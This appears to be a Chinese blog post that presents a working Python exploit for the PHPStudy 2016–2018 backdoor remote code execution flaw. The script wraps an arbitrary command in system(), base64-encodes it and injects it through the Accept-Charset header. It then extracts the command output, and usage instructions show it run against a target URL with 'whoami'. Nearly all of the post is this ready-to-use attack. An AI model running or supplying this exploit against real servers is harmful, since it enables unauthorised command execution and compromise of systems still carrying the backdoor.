phpstudy_2016-2018_rce

phpstudy_2016-2018_rce

代码

python 复制代码
import base64
import requests
import sys

banner="""
PHPStudy_2016-2018

    ( )                  ( )        ( )                    
    | |_      _ _    ___ | |/')    _| |   _      _    _ __ 
    | '_`\  /'_` ) /'___)| , <   /'_` | /'_`\  /'_`\ ( '__)
    | |_) )( (_| |( (___ | |\`\ ( (_| |( (_) )( (_) )| |   
    (_,__/'`\__,_)`\____)(_) (_)`\__,_)`\___/'`\___/'(_)   

                                                    - Order
Usage: python *.py http://10.9.47.154/phpinfo.php whoami

"""
# 错误时的提示信息


def attack(url,cmd):           # 攻击函数体
    cmd=f"system('{cmd}');"
    # 将命令包装system()
    cmd=base64.b64encode(cmd.encode()).decode()
    # 将命令二进制编码解码以及base64编码
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
        "Accept-Encoding" : "gzip,deflate",
        "Accept-Charset"  : f"{cmd}"
    }
    # 请求头信息
    res=requests.get(url=url,headers=headers)
    html=res.content.decode("GBK")
    # 使用GBK解码
    num=html.find("<!DOCTYPE html")
    # 截取命令回显部分
    result=html[:num].strip()
    return result
try:
    url=sys.argv[1]
    cmd=sys.argv[2]
    # 获取两个变量值
    attack(url,cmd)
except:
    print(banner)
    # 错误时输出banner
else:
    print(attack(url,cmd))

使用方法

复制代码
python 文件名.py 目标页面url 执行的命令
例如
python attack.py http://10.9.47.154/phpinfo.php whoami

正确执行时

错误执行时

相关推荐
把头塞进显示器2 分钟前
电商平台-测试报告
python·selenium·pytest
ShyanZh4 分钟前
【Python3基础】01-Python 环境与开发工具
python
醇氧8 分钟前
Git 合并冲突与`__pycache__` 的恩怨情仇
python·numpy·fastapi
菩提小狗10 分钟前
每日安全情报报告 · 2026-09-21
网络安全·漏洞·cve·安全情报·每日安全
ShyanZh30 分钟前
【Python3基础】02-输入输出与程序运行
python
伞伞悦读35 分钟前
【第39期】Python 第三方包安装详解:pip、conda、requirements、版本锁定和镜像源
python·conda·pip
Jialu.1 小时前
第7篇:舆情预警系统:三类规则引擎 + 飞书/钉钉 Webhook 通知
python·安全
甜到心里的蛋糕1 小时前
如何用企业微信实现让微信收到通知实时通知
服务器·python·微信小程序·fastapi
P.D.Wei1 小时前
[Leetcode 3524] 求出数组的X值I
python·学习
weixin199701080163 小时前
《二手ERP对接闲鱼API:聚石塔强制入塔后的架构重构实录》(附Python源码)
python